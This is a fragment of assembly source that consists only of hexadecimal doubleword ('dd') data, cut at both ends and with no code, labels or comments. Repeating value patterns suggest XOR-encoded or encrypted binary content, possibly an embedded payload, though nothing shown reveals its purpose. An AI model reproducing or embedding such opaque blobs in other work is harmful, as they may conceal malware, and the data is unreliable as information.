0EF8CDE96h, 0E84B1601h, 66223205h, 6619DB75h, 0EF7B3215h dd 0D9626F55h, 7DBA52Bh, 659F3D75h, 883215h, 0E722F59Eh dd 792F0D5h, 0A0AF6442h, 6792BF3Fh, 38401661h, 0A0C8B34Fh dd 690BBF3Fh, 66883396h, 0DBCFC715h, 61CB06ECh, 661FB91Ah dd 69E83215h, 6644329Ah, 66AF3D15h, 7113215h, 9977CDACh dd 70C43DEAh, 8F223215h, 66113204h, 51D74D29h, 0D8EDDFC1h dd 561E33Dh, 0A8299D34h, 6480386h, 6642B51Ah, 0E72D3215h dd 66113215h, 668CB31Ah, 0DE223215h, 3543EEEAh, 661132AEh dd 0EC7B3315h, 4258B916h, 9F26F696h, 69D902E9h, 66883591h dd 67CD3D15h, 9E223215h, 70498F40h, 930949CCh, 1D9D244Ch dd 67FDC14h, 669D3D75h, 8F883215h, 66443210h, 4A5B1F23h dd 99705309h, 6203B521h, 6280B331h, 69223215h, 66113A95h dd 64073D15h, 6443215h, 6ECBF374h, 6606B01Ah, 0E3873215h dd 66443204h, 66223EFCh, 16D19615h, 0E5F5516Ah, 660C2052h dd 9FE303EFh, 38943D5Fh, 8F77CDEAh, 66443207h, 95B427D1h dd 92A76AD7h, 0A1344153h, 23B7DD66h, 0EF758CA8h, 0EDE9BBDAh dd 0A2091629h, 66443211h, 6633DB75h, 0A3AF3215h, 57F9CE59h dd 7130E491h, 0D9D8150Ah, 31928BB7h, 6688BD1Ah, 71F3215h dd 662237FCh, 817B4C15h, 0E11A33C0h, 0E195C5DFh, 42A0DFh dd 5BFBFA94h, 720353E9h, 80CD6431h, 6626F494h, 0A0903215h dd 66883211h, 3A600692h, 669961ECh, 67113215h, 520962C6h dd 59201F31h, 0E721BD00h, 59751F26h, 69E86900h, 66443490h dd 0A3FCB315h, 690FF566h, 66883194h, 9FCF5415h, 62996174h dd 67113215h, 4294B9CFh, 8F40F696h, 66223201h, 3D507ABCh dd 0BA00A4BDh, 4135C8CCh, 54BE56F9h, 0FC8BFC6h, 66CA7A7Dh dd 4250BB15h, 66223BFCh, 27CBF715h, 0C65B45E0h, 0E3BBF448h dd 61CB3C88h, 59AB5475h, 74BB98Eh, 68D9A79Eh, 69CB35FCh dd 1113215h, 8F28ED21h, 0E2D00B19h, 1CFEA19Eh, 0F32864A2h dd 61612414h, 663AB61Ah, 69423215h, 0A790F5A2h, 4917DE89h dd 4270CD74h, 62E6B34Fh, 69113215h, 6688379Ch, 31BC5215h dd 52A9534Ch, 85986131h, 668CF194h, 0A5C73215h, 423EB511h dd 75953D49h, 6883215h, 664435FDh, 0C8C30515h, 3454747Bh dd 0BD32544Bh, 0DB115338h, 66223211h, 4A9ADC14h, 624CB331h dd 6443215h, 590894AAh, 70F85328h, 677CDE9h, 0EF4BFA9Eh dd 66223214h, 63F853E0h, 38883215h, 4B36F39Bh, 3C0606EAh dd 6915F696h, 66882196h, 664ADB15h, 65043215h, 0DF2B65A4h dd 0BEF811BEh, 6D7CD072h, 380606EAh, 6915F696h, 66883A9Ah dd 64C13D15h, 6223215h, 60F85374h, 5C883215h, 507ACEF6h dd 4216CDA6h, 62D5B34Ch, 93883215h, 664435FCh, 5E13EF15h dd 9F2F7BE5h, 3EAC06EAh, 6640F694h, 0E42D3215h, 66113217h dd 0E34F5375h, 61AD3D4Ch, 66223215h, 6619B31Ah, 0EA873215h dd 66443217h, 0E3E55375h, 61F802D0h, 66883215h, 1EF9B1E9h dd 6625C302h, 6604B61Ah, 0D9E83215h, 5FE86F5Ah, 554D8973h dd 0A78CBF74h, 938FDDC3h, 99B8E1EAh, 8F3F3B90h, 7D9B3D12h dd 6883215h, 74AD6C46h, 3223215h, 0C20CD3F1h, 0ADCFE0D3h dd 9F3D32C8h, 0BB2719D4h, 0E61E533Fh, 6688320Ch, 6657BA1Ah dd 68CB3215h, 3E113215h, 32A2B8B2h, 6163D0D1h, 3BE1BE74h dd 6FACB162h, 28FDB08h, 64FCB01Ah, 6FCB3215h, 0F8113215h dd 0D7006354h, 91DFBD3Bh, 7B2BB7D2h, 661035FCh, 9AE83215h dd 6252BA5h, 55A7BFECh, 9A16C2B8h, 0E187E2EAh, 66443205h dd 6628BF1Ah, 63F83215h, 0A5883215h, 12937FD4h, 7E6A8798h dd 0ED1E35E4h, 6688321Ch, 49FA5475h, 0A4953D81h, 9CACBF74h dd 8F8FC3B3h, 6644321Dh, 6168B13Fh, 6FBA9D3Fh, 6B9BF594h dd 89C51513h, 146D566Fh, 0A190C53Ch, 14C7566Fh, 6B57DD94h dd 0E12D1513h, 66113219h, 668EB21Ah, 0E04B3215h, 66223215h dd 0EFEFBB43h, 42BCB9E7h, 8F40F696h, 6622321Ch, 0CA50E153h dd 6E30D502h, 9FF9B97Ah, 625DB21h, 661138FCh, 1F6B7F15h dd 6408D1DFh, 3D8CA3h, 0DF70F49Eh, 9977CDEAh, 698403E0h dd 66223397h, 0DF40CB15h, 66883215h, 67CEC314h, 0E5063E9Eh dd 6EF836D1h, 0B1883215h, 75A8D68Fh, 56FF4E0Ch, 6614DBDDh dd 0E4703215h, 8F6E306Dh, 66223213h, 86EC566Eh, 0DDDB965Ah dd 69F8759Bh, 0A5A3E1E2h, 69AD759Bh, 8FD3EC3Ch, 66443218h dd 0C8373E10h, 0DB95240Fh, 1A902BB2h, 0B7CF52C7h, 662221FCh dd 9DA3EC15h, 5505E38h, 0F4C28EB1h, 7DC9D0B5h, 9B143968h dd 0E1BCCD74h, 0E560369Eh, 0A7D736D1h, 57E93AFCh, 69C2CED4h dd 99BB5E90h, 662CDBEAh, 9C53215h, 41DA6EC8h, 1FE99E22h dd 17675DB9h, 661CB21Ah, 6E613215h, 68443215h, 6749ACEBh dd 314885E6h, 0EF43BB46h, 9ECD69CAh, 0D92D524Ah, 66943DDAh dd 7883215h, 6654B17Dh, 4226BB15h, 3E3526E2h, 68053D75h dd 8E443215h, 6622321Dh, 0B73FA95Dh, 5855837Ch, 6648DB4Ch dd 49513215h, 595A6A38h, 80123BEAh, 6254F5Eh, 662234FCh dd 66D83915h, 69C9CAA0h, 66443094h, 77A6415h, 47FCB72Ch dd 0E28735FCh, 664432DDh, 662234FCh, 0C231D415h, 30441F4Eh dd 746C8946h, 0E7614591h, 0E50323F6h, 276BB349h, 912E071Eh dd 0F6D1B3CEh, 0EF82A4E1h, 0B87F69CBh, 1278DC94h, 80A3447Ch dd 55830BDAh, 0E78AD4D4h, 9332A0E3h, 0E0CCB366h, 0EF26C762h dd 6E616CE5h, 5F443215h, 13D0A244h, 697A509Ch, 66882694h dd 664BDB15h, 213A3215h, 92C472C4h, 1A149C2Ah, 5C566B63h dd 69E239A3h, 66112D90h, 6E615215h, 0B8443215h, 7FBBD648h dd 0D8BBB1DFh, 14D6AD4Bh, 87C1F574h, 6725DB09h, 9E113215h dd 0EBC8D42h, 0E70B0213h, 0F80E65DAh, 9AF6B31Ch, 91D66237h dd 48FD63CAh, 673A736Fh, 9F106BDAh, 6682DB4Ah, 7B643215h dd 0CAAB9578h, 66A0500Ah, 0D9DFCA74h, 489879B5h, 5AA9CB9Ch dd 62D5B331h, 6883215h, 72D8D73h, 662226FCh, 61D84A15h dd 0C43D90B6h, 0D42DD292h, 0C43A3D39h, 0B7D64899h, 0EDE53D5h dd 19D928E4h, 0E706069Eh, 661136D1h, 234EB315h, 0EF986D01h dd 0CBDE6CE7h, 93A4BBE0h, 8F8FDB37h, 66443201h, 192281F6h dd 1EAC3566h, 3E218DD2h, 0D5FBA352h, 33C8B5A9h, 42E8B44h dd 0B77F5558h, 0B7FC6254h dd 430BD44Bh, 584D0D35h, 8F7F310h, 3E851B65h, 3FDE7C9Ch dd 661121FCh, 2B91D015h, 8D7AF0Ah, 764A6404h, 0DBAAE3E5h dd 3D9A1211h, 88AADC28h, 0C4A73DFBh, 9F113215h, 0BB550C94h dd 0E34BEFC8h, 66223280h, 97AE3D75h, 668838FCh, 0A1E64715h dd 3CEF195Ch, 71C621Fh, 0DEE06347h, 3F7F9722h, 0B7D5EBE2h dd 3680DB94h, 0A70938C0h, 0A9742ACFh, 677BF89Ch, 6613F5E7h dd 3C883215h, 6642BF1Ah, 0D0423215h, 7D7B9A7h, 668CDE94h dd 72CD3215h, 66268831h, 0B0103215h, 0EDEE524Fh, 0D3CD53D7h dd 61CB10E0h, 28DAB375h, 8F87492Ah, 6644321Ch, 944809D2h dd 0F35A6CA2h, 0A26153B1h, 8F44323Eh, 6622321Fh, 0DAA989C3h dd 0FAB780CFh, 0D1ADB84Ah, 6DDCDEBh, 0AE9A4AA2h, 6264B174h dd 3D60369Ch, 87A701E0h, 6916DB09h, 66883396h, 0AE85CE15h dd 6625DB16h, 0AA763215h, 1D4580A5h, 68C23D35h, 8F223215h dd 6611321Ch, 0B5D4DEAAh, 0CCA8BA2h, 69F67C2h, 6762E151h dd 0B6A16FFDh, 0B5005238h, 0A6E3CB66h, 0B69A5205h, 7356B373h dd 0AE755394h, 6624B71Ah, 0E6713215h, 770BCCCh, 7AA5AF9Ch dd 69CB35FCh, 0F3113215h, 3E07E768h, 0EDE2E1A8h, 16BA49B0h dd 662CE0B2h, 69883315h, 6645A096h, 662DDB15h, 9DE13215h dd 0CE9740FEh, 0F561679Fh, 0E595FFA3h, 0E31E5254h, 66883215h dd 6644BD1Ah, 0E7433215h, 0DDAA892Bh, 20D3DAEh, 69443214h dd 66223395h, 8A90C715h, 66883211h, 0DF603E9Ch, 66223215h dd 67D6C314h, 66883215h, 0D14B524Ch, 3343CBDCh, 661136A8h dd 0A94EB315h, 6764635Fh, 0A9CCB3FBh, 3B31635Fh, 933DBBE9h dd 643DB37h, 8FDBB973h, 66113219h, 0A7DDBCBFh, 0E6AF83FAh dd 41AFBB43h, 8F8CB974h, 698FDB1Fh, 6644359Eh, 67A53D15h dd 9F113215h, 6A0301EAh, 6280B331h, 69223215h, 66113395h dd 0EFD9CA15h, 3F1E63D4h, 66223EFCh, 43D26615h, 8D9AA224h dd 0AD9670FEh, 0E62D526Bh, 6611320Eh, 6699DA75h, 522A3215h dd 0FF548EE1h, 877E5AFEh, 0DAA6BE23h, 3C068965h, 0E5436A46h dd 729836F9h, 69E86A31h, 66443099h, 31435215h, 661121FCh dd 5D534915h, 9A0BFA0Bh, 0C9B59F7Fh, 723C814Bh, 5469A10Bh dd 0E04B534Fh, 66223214h, 979419EDh, 938FDB3Ch, 8F46D2D4h dd 66223219h, 3B07370Fh, 0F567A1B9h, 0FEA92FB5h, 5267B716h dd 6BF835FCh, 13883215h, 0EF60AD12h, 4AEDE886h, 0FF55198Fh dd 66D3357Dh, 4240BB15h, 8F7C6A43h, 6611321Eh, 220EA43Bh dd 335DA81Fh, 0CBF952A7h, 3A137ECh, 718D35F5h, 67768614h dd 67351FDDh, 0D63C00A1h, 9A8FD270h, 7A60769Ch, 8FD753EDh dd 661130D8h, 668834FCh, 0C73C715h, 33EE4143h, 0A390D79Ch dd 66883211h, 6640DF94h, 4AA53215h, 6A986E31h, 0EFDBCA31h dd 6287B3F6h, 0E5223215h, 7A9636FEh, 72016E31h, 0AF75C731h dd 0A39B5475h, 0E91E53C1h, 66883200h, 664BBE1Ah, 6CCB3215h dd 90113215h, 7424F4C3h, 3610745Ah, 4BB7B902h, 616DB06h dd 668837FCh, 0B8B07C15h, 0D844252Dh, 6709C6Ah, 0B5138D73h dd 6651BE1Ah, 76CB3215h, 94113215h, 0B8F4F66Bh, 74B09025h dd 6C35CBD2h, 784B1FEh, 0E287302Eh, 664432A6h, 662220FCh dd 300A5C15h, 7A670497h, 19B4ECA9h, 192281F6h, 37AC3566h dd 6688367Dh, 0AC456B15h, 0DD71C74Ch, 66113214h, 9FD3EB14h dd 7045BF2Eh, 0E32D35FCh, 99EECDD5h, 6684B31Ah, 0EF4B3215h dd 66223213h, 6611BF1Ah, 8EE83215h, 6644321Dh, 0B0729F78h dd 246B9BDh, 7D36943h, 6644327Dh, 4226B915h, 6615F694h dd 0E2873215h, 6644320Dh, 662221FCh, 0AAB65815h, 11521965h dd 8BBC335Bh, 0CA52C550h, 78571B81h, 2BD2BF98h, 6CAD35FCh dd 0EF223215h, 0AC828B87h, 504EA2D0h, 69A5CD9Eh, 66223C91h dd 6618DB15h, 3D793215h, 6CE4D82Dh, 0EF2CC79Bh, 8F1FAF98h dd 7203CA12h, 83CD6731h, 6626F794h, 0A3923215h, 42A4B511h dd 70CD3D49h, 6223215h, 661139FCh, 12F7D915h, 0DACD25DBh dd 67CFAEA0h, 0F4BE8B73h, 42BCCD74h, 6280B14Ch, 4D8675h dd 78C78ADh, 66E63A7Dh, 4270BB15h, 6623B61Ah, 0EDE83215h dd 8F82DB88h, 0EB4B5212h, 66223213h, 878EE894h, 0DCEE4D2Ah dd 99252C1Dh, 4216B326h, 22CB3579h, 0E7AC3E9Eh, 664436D1h dd 0AD3B315h, 6955E812h, 66883E9Dh, 60CD3D15h, 69223215h dd 66113292h, 0D1875215h, 0E3CF53E3h, 61CB3C88h, 66113EFCh dd 1FE6D915h, 8E0F613Ah, 7D331F8Bh, 8FF1E326h, 66883207h dd 1E45FCE3h, 7DF538AEh, 0DC2FAA9Ch, 564F812Dh, 0E3479AA0h dd 61CB3008h, 6E703EDh, 6685DB75h, 54D63215h, 0A8BB41ACh dd 0C7B76BF7h, 76032F3h, 7858D1Ah, 62CEB145h, 3E35069Ch dd 0CBEECE4Bh, 8685CAECh, 6627DB17h, 6B273215h, 6AD7AF8h dd 79CB973h, 5267B716h, 0E91E35FCh, 66883214h, 57B403E9h dd 6D203D3h, 0ED7705A1h, 692553E4h, 66443B9Ch, 0C39D5215h dd 31005B9Ah, 6C8D534Fh, 4B29823Ch, 6C302C31h, 4214FA14h dd 4B82200Bh, 0BF41B1Fh, 6629B11Ah, 60F83215h, 70883215h dd 0FB31DC04h, 4216B934h, 0E7F0BB44h, 668836D4h, 6285B115h dd 3A063E92h, 66113EFCh, 4CA91615h, 4B4189ACh, 0E7A6E853h dd 67ACB175h, 678FDB09h, 66F0B61Ah, 5DDB3215h, 8F375B98h dd 0C10C3D12h, 6443215h, 2A979DAAh, 0ADAE3D35h, 0D3050974h dd 6943DB03h, 6622A391h, 0EB2AC715h, 61610668h, 66C0B61Ah dd 69423215h, 66113192h, 98035415h, 6642B71Ah, 0EA2D3215h dd 66113215h, 6A083D74h, 69443215h, 66223492h, 66993D15h dd 0EB883215h, 97324588h, 0DD755212h, 68CD3550h, 64003D4Dh dd 31443215h, 0B5DD534Ch, 5A9A62EDh, 624CB131h, 664423FCh dd 0F1CF7015h, 352485FAh, 5478693Ch, 84002CCAh, 0DD4206B2h dd 0F7EC413h, 0EFE9FA9Fh, 8F4B1390h, 6FA23D12h, 6113215h dd 6688B71Ah, 7B13215h, 663D89FCh, 0FB9CC715h, 61794462h dd 664421FCh, 0F3AA2715h, 0B1ACC6D6h, 0A27AEB71h, 0C90D0165h dd 30503285h, 6FF8E1EAh, 49883215h, 45AD4371h, 2197BB3Bh dd 7A108F96h, 698835FCh, 66440891h, 0E319CE15h, 61F806A4h dd 66AFB61Ah, 0E84B3215h, 66223218h, 66113AFCh, 4A754A15h dd 7B6D6F5h, 67AB3D84h, 9E113215h, 7D3DB72Eh, 0E34B35FCh dd 66223212h, 9920DBE9h, 5D7DCDEAh, 8F710B90h, 0AA73D12h dd 6113215h, 668AB11Ah, 88F73215h, 662235FDh, 4792E515h dd 310F6D5Ah, 39BAB973h, 0F9FB174h, 6616DB0Eh, 6691B61Ah dd 0E5BC3215h, 8F3827A8h, 0E21E3212h, 66883222h, 664434FCh dd 6CD5ED15h, 0EB90E4DEh, 962E6C90h, 0BEADCB12h, 69DDCDEBh dd 66113399h, 0E687CE15h, 66443206h, 66223CFCh, 0F9001B15h dd 245BAB5Bh, 0EA3E99BFh, 5D1023A7h, 8F240B90h, 0CA0C3D12h dd 8FBBCDEBh, 6622321Fh, 0FFE15A23h, 0F75BE4C8h, 0DBC72A26h dd 61D32549h, 50943D14h, 9F883215h, 0F6C109ECh, 6925C302h dd 66111A90h, 0E7EE5215h, 698178F2h, 643FDAAh, 0B79F47ABh dd 0B609546Ah, 0EB251D8Ah, 3F29D690h, 1CF8CA15h, 677CDEBh dd 0B2CEE89Eh, 69DD0374h, 66113497h, 3DDE5215h, 0E525E49Eh dd 8F0BD7A8h, 0E21E3212h, 6688237Bh, 664439FCh, 9702CB15h dd 1D2B3B4Ah, 1A13B432h, 7138B72Eh, 0E32D35E4h, 66113222h dd 6F0DB9EDh, 643DB1Ah dd 662226FCh, 2C750015h, 9AB56747h, 65F19FE5h, 7F2BFE9Bh dd 0D150C4Fh, 0BD0954B2h, 3325CAB5h, 662233A8h, 3BFE3315h dd 6689B81Ah, 5DBC3215h, 9735B690h, 24943D12h, 69883215h dd 66442A9Fh, 6631DB15h, 0A0FB3215h, 0BA68C65Dh, 55B03B24h dd 0DADFBA18h, 92619DBCh, 630DB9BDh, 643DB1Dh, 0FCEDB373h dd 0B1905470h, 35E99406h, 99BBCDAEh, 3DFD1BEAh, 8BA95475h dd 7167B269h, 0E6C10974h, 6925C302h, 6611A190h, 72605215h dd 9F443215h, 0E44A1A7Ah, 48FFBA9Dh, 0E1FCF47Bh, 0CD23C587h dd 31AA0114h, 0EB1E6B4Fh, 66883217h, 8F25A1A0h, 66223212h dd 83D8E476h, 0ED1BE73Ch, 8F521390h, 0FE9B5212h, 8E4B3C94h dd 66883205h, 756DC92Bh, 0A3A58F31h, 413AE9DEh, 3E3C7BA3h dd 71C6B42h, 74A53D75h, 8F113215h, 66883218h, 3AAE6EC0h dd 2CE171E4h, 0E0670152h, 0DFD95331h, 99BBCDEAh, 8F7BFD3Ch dd 66113201h, 0E738E382h, 0AA52A001h, 393F78A4h, 8AB6F890h dd 0D6587CF1h, 71CCB72Eh, 0E32D35E4h, 6611324Ch, 6685DB75h dd 3BE73215h, 9FD6AD82h, 1A05E9A3h, 0B6931Bh, 8F25C29Eh dd 66223206h, 0D44D0F60h, 9C571CD4h, 0C6812812h, 0C10B358Ah dd 0ED94CB50h, 8F936390h, 0DD17CE12h, 66223214h, 694AED14h dd 6688269Dh, 68C23D15h, 8F223215h, 6611321Ch, 48705E58h dd 203C3405h, 0EAA709AAh, 6916C302h, 66882D90h, 0E3CFCA15h dd 61CB3A34h, 6610BA1Ah, 9E7D3215h, 66458C43h, 91233215h dd 67943D4Bh, 93883215h, 71D4B72Eh, 0E32D35E4h, 66113250h dd 0EDE9CE75h, 8F5E9790h, 6625DB12h, 0A0723215h, 3197B5C2h dd 6649DB9Dh, 98503215h, 5EC1B40Fh, 8FF05D9Ch, 361A5B21h dd 99DDCDADh, 3ED61BEAh, 668822FCh, 7B7D4515h, 0A3F93F19h dd 6FC9D0D2h, 29DBC1E8h, 0F2C10944h, 6925C302h, 66110C90h dd 0E303CE15h, 61AD1C98h, 63A53D75h, 0DE113215h, 2DE72688h dd 6641BD1Ah, 0E7443215h, 7AFA2D2h, 15FC8847h, 94C532C3h dd 66F44160h, 8F4BE514h, 6688321Eh, 377A43C6h, 6E89E27Ah dd 5D576D1Dh, 979FAA90h, 2FC13D12h, 6223215h, 6618DAE0h dd 6A0B3215h, 4C5D0B2Eh, 0EDF644D4h, 0ED7068E4h, 8F9DBB90h dd 67CD3D12h, 93223215h, 99EE8946h, 0B9A1CDEAh, 7FC23D4Eh dd 69223215h, 6611219Dh, 6686DB15h, 74973215h, 0AB2F9C9h dd 0CD32E658h, 8E172968h, 71D8B72Eh, 0E32D35E4h, 6611322Bh dd 0E3035375h, 61AD29F0h, 662FDB75h, 5033215h, 67110E73h dd 0C0081504h, 8E583DABh, 66113210h, 0D7304448h, 3C25526Bh dd 4AA16574h, 8F4ECD31h, 6688321Fh, 0FD45715Ah, 42032464h dd 0E32A388Eh, 617925B5h, 6671B71Ah, 6423215h, 6611BA1Ah dd 7743215h, 78B851Ah, 53B7B79Eh, 34E835FCh, 668833AFh dd 3C933315h, 662220FCh, 8EB12A15h, 4F06C488h, 5D26CB9Dh dd 7581F432h, 5D95B5D3h, 979F9A90h, 5C13D12h, 8F223215h dd 6611321Dh, 419FDE3Dh, 9EF01B77h, 7F13B79Eh, 0E01E35FCh dd 66883206h, 66443CFCh, 82264315h, 66B734B3h, 0A0A5B7BDh dd 8F29AF9Ch, 66223206h, 84C6C939h, 0C56A5A9Dh, 0B100BB1Ah dd 0DEAC65F0h, 3460E90Ch, 668833AFh, 3C933315h, 662DBA1Ah dd 6CF83215h, 0D8883215h, 739E8329h, 2D529E59h, 0E32ACB02h dd 617925B1h, 6629B71Ah, 0E72D3215h, 66113212h, 6689BD1Ah dd 0E5B13215h, 8F0637A8h, 0E31E3212h, 66883246h, 0E7225275h dd 6AF54C5h, 7E45374h, 4D9DB79Eh, 692435FCh, 66223495h dd 669D3D15h, 8F883215h, 66443201h, 0B18C7A45h, 0FB991FCAh dd 7F9FE43h, 0A77E7DC3h, 0D959C073h, 67AA6174h, 67883215h dd 0E64B69CAh, 6622321Eh, 661134FCh, 0C80FF15h, 0E555D754h dd 8F0D1BA8h, 0E21E3212h, 66883259h, 66443AFCh, 0A75FDB15h dd 47CD4252h, 560D09E7h, 6943C30Dh, 66220190h, 661ADB15h dd 0A2A83215h, 6E74D63Bh, 0C4116102h, 5B94B970h, 68FDB3Fh dd 66C13D75h, 223215h, 0CD2DC94h, 0A3325474h, 0DE14537Ah dd 99DDCDEAh, 9F49F53Ch, 6EF58F96h, 694435FCh, 66200891h dd 0DB92CE15h, 61613E08h, 4AC03D15h, 6223217h, 9AD9B373h dd 640F3DD7h, 0ED443215h, 0E31953E7h, 61E02A01h, 66B4B71Ah dd 0EB4B3215h, 6622321Fh, 69138775h, 66883299h, 0E44B5315h dd 66223214h, 0EB94B9ECh, 9A8FDB1Ah, 99BB8F40h, 890BCDEAh dd 6601DB48h, 1B093215h, 6B7A477Ch, 36FD1670h, 0B9C69C5Dh dd 0E3B3BA38h, 61B52A31h, 666BB71Ah, 6ED3215h, 0E06AB373h dd 330389BAh, 0ED434EBEh, 8F3F4390h, 760B3D12h, 8F443215h dd 6622321Eh, 0E73FF937h, 0C6067DFFh, 3449B9DBh, 9603F8AFh dd 0E7CBC528h, 57CA25E7h, 0E706705Bh, 2279AEF7h, 67E3B30Eh dd 6780360Dh, 5DB168C2h, 973A2A90h, 51943D12h, 6883215h dd 0C987B344h, 3C77A0C0h, 0A6A63D42h, 0E303534Ah, 61AD2D70h dd 0F39860EDh, 0A7186A12h, 0A40930F7h, 2DFB17FAh, 94A3E0E2h dd 52D54527h, 0AA07C094h, 0B1458831h, 0E319CA4Fh, 61E02A3Dh dd 66FAB71Ah, 0E74B3215h, 66223201h, 66113DFCh, 9C70315h dd 84C2BEBBh, 0C3B5C1F4h, 414B9A9Ah, 6DA1B79Eh, 8E2435FCh dd 6622321Bh, 0A083D695h, 5FD8A4B5h, 8B959885h, 0A0A91531h dd 0D91E524Ah, 0CC59B3EFh, 71CA734h, 909F6774h, 0E718E215h dd 0ED90DFD8h, 0BBB37F64h, 8121C794h, 8910B431h, 669ADB48h dd 0F9623215h, 9CCC0E18h, 0D61B88B5h, 394ACAF5h, 9B576285h dd 7E0EB72Eh, 0E31E35E4h, 6688322Dh, 0C3C1B9EDh, 8F25DB0Bh dd 66113207h, 0FBF46BEDh, 0DB746DB7h, 0E0BDEBAEh, 83D1ADD6h dd 33744E7Fh, 664433A8h, 3BCD3315h, 661139FCh, 0FDE5BB15h dd 0A07CC588h, 0ACCE43Bh, 7E0DB72Eh, 0E38735E4h, 66443224h dd 0F7A7B9E9h, 616DB12h, 668834FCh, 6C8AC315h, 695B0959h dd 6611369Bh, 0B4315415h, 0B9C353BEh, 6623F194h, 0B9963215h dd 0A1335475h, 0B5CF546Ah, 46A70974h, 6916C30Dh, 66880090h dd 0E3CFCB15h, 61CB1DD4h, 6618B21Ah, 0DEE83215h, 3B482129h dd 0E1436C46h, 304674E2h, 76616C4Ah, 0A0443215h, 80BDCB6Ah dd 0D84FD2B3h, 2C686062h, 0E5E14773h, 8F2E2FA8h, 0E21E3212h dd 6688389Bh, 69658175h, 6622379Bh, 78D08B15h, 5DE94DB5h dd 97539E90h, 4DA73D12h, 9E113215h, 6699B79Eh, 692435FCh dd 66223E95h, 6616DB15h, 0E5D33215h, 9B992490h, 46EDB36Ah dd 71597B1h, 99778A45h, 0A16DCDEAh, 0E319CA4Dh, 61E02A55h dd 66E3B71Ah, 69243215h, 66223090h, 8E1A8315h, 66883207h dd 79D2DB1Fh, 0B21AE7B9h, 0A5068AB9h, 57C0CBEBh, 0E84B40A8h dd 66223215h, 6FF8534Eh, 0B8883215h, 0EF07252Dh, 467C65h dd 7AA8B79Eh, 35E835FCh, 1FA9A5h, 7B401ABh, 0B8C88C75h dd 800869B0h, 0DF15533Fh, 99DDCDEAh, 648FD3Ch, 6682DBE0h dd 83F43215h, 5B80290Fh, 0F2FF3C86h, 0D60D0974h, 6943C302h dd 66227290h, 689F3D15h, 6883215h, 6644B01Ah, 94A33215h dd 2AB547C0h, 9F0DB974h, 643DB13h, 66223EFCh, 9EC7F15h dd 0B7011079h, 0C7B616A7h, 0B59D3D6Fh, 0E8AB6074h, 0E79BF21Ch dd 59B241D7h, 3CF533F9h, 0D29409EDh, 698FC302h, 66440890h dd 69A83D15h, 8F113215h, 6688321Fh, 0A0876DBEh, 0D6CCE0A2h dd 0E39ABE51h, 61612EB0h, 6645BA1Ah, 30DE3215h, 99EECDABh dd 387F1BEAh, 0A0C55475h dd 0E72D64D4h, 66113217h, 5DE956A1h, 97538A90h, 24A73D12h dd 8F113215h, 66883205h, 742EE989h, 0BD7A2F38h, 382D6F33h dd 0A0E46137h, 49C5B79Eh, 694235FCh, 66112095h, 6685DB15h dd 5DD73215h, 0C2F14903h, 0E2F8DAB9h, 0BA025Bh, 3425F89Eh dd 99DDCDAFh, 3CC61BEAh, 0DA0D09E9h, 6943C302h, 66224390h dd 759E3D15h, 8F883215h, 6644321Bh, 67468DB9h, 68AA5E23h dd 741F9833h, 0DBC756EDh, 61CB1610h, 2D943D15h, 6883215h dd 6641B41Ah, 0E7443215h, 9FD1AFE7h, 570DB974h, 6943DB0Fh dd 66223E93h, 609E3D15h, 69883215h, 66443292h, 6DCB5215h dd 0B0113215h, 0A725B693h, 9FC9C182h, 82A251E8h, 0DD42536Dh dd 66883214h, 61FED14h, 0ED4406A4h, 0E32A53DAh, 617925D5h dd 660BB71Ah, 0EC2D3215h, 66113212h, 6689B91Ah, 0EDBC3215h dd 8F020790h, 0A7905212h, 79924981h, 3025EFA4h, 11757EABh dd 65F7F309h, 8809E4E2h, 7A0177B5h, 8F7CC53Ch, 6611321Fh dd 948135AAh, 719FF581h, 6CCB3D19h, 0A0113215h, 98E85DF4h dd 51C0F2EDh, 0A2A70976h, 6916C302h, 66884490h, 664EDB15h dd 0FF173215h, 0B87886BDh, 2595140Eh, 42418F96h, 692235FCh dd 66116890h, 6687DB15h, 63973215h, 0EBCB61E0h, 7229A792h dd 1FA70DEEh, 37C1B92Bh, 6925DB25h, 66113897h, 0E2875215h dd 66443215h, 8F43E89Fh, 66113210h, 5E2207Ch, 66FD636Bh dd 0A74EE05Fh, 0E75834FCh, 5A9F3EF4h, 0A9ADB34Eh, 0E75D6E24h dd 0B5DE06FCh, 3F473394h, 6645BB1Ah, 5DDB3215h, 9706FA90h dd 330D3D12h, 6443215h, 66223EFCh, 0D82A8915h, 2872C65Fh dd 18DD311Bh, 7F68634h, 6F40B79Eh, 8FE835FCh, 66443218h dd 0F16D5BC2h, 4CA8E934h, 0FC1DEB74h, 61AD630Fh, 7F223215h dd 29AECF88h, 7D3DE18h, 99BB8A45h, 0A10BCDEAh, 6F9A3D4Dh dd 6883215h, 0E722B6A0h, 71ED9F4h, 71DDB72Eh, 0E38735E4h dd 6644322Eh, 6631DB75h, 0D4B33215h, 0C808E1C2h, 1E0C48CAh dd 77F4E93Dh, 80BE9D3Bh, 0E30353A3h, 61AD1FD0h, 0DFA5AE9h dd 5A983215h, 428CCD31h, 6EC93D4Ah, 6223215h, 0E685D595h dd 5DE9A2D1h, 9753E690h, 5A73D12h, 6113215h, 0BC28D6AEh dd 0E525C76Bh, 8F0637A8h, 0E31E3212h, 6688325Bh, 0B7C45275h dd 7435223h, 3DA95447h, 6E96D03h, 664437FCh, 2134DD15h dd 0E77761DAh, 768ABC6h, 7BE9B79Eh, 0E82D35FCh, 66113214h dd 993062ECh, 4FBBCDEAh, 0EA2D6AD2h, 66113207h, 66883FFCh dd 3D04A515h, 201CDCCh, 8E78B4F0h, 0E3B3A489h, 61B525C5h dd 6641B71Ah, 713215h, 35C8D994h, 0E5256845h, 8F0637A8h dd 0E31E3212h, 66883258h, 66443EFCh, 0D5679315h, 0B2517857h dd 1B9ED7A1h, 23C1B98Dh, 6925DB12h, 66112794h, 6698DB15h dd 0B60F3215h, 0A68AA7E2h, 57BFC841h, 0EE25E73Eh, 0DD17B708h dd 73DC1E27h, 9119D9D4h, 4D7BB3CEh, 4F4427EBh, 0EC2D69CAh dd 66113214h, 0BE0D09ECh, 6943C302h, 66221190h, 67943D15h dd 9E883215h, 6C79B79Eh, 0E7DE35FCh, 661136F9h, 42B4BB15h dd 396036EAh, 6623BB1Ah, 93ED3215h, 7154B72Eh, 0E34B35E4h dd 6622322Ch, 6617B01Ah, 0D3E83215h, 74883BFh, 665FB79Eh dd 69F835FCh, 0C2883215h, 0CDF912C0h, 8FE1CAD2h, 0F29754C8h dd 0D8DE319Eh, 0EFF5179h, 0E727D4D4h, 0A7CB3FBh, 387F1B02h dd 86C109EDh, 6925C302h, 66110F90h, 0F2365215h, 0E6211E7Eh dd 0ED43AFC5h, 8F0B5B90h, 0A9085212h, 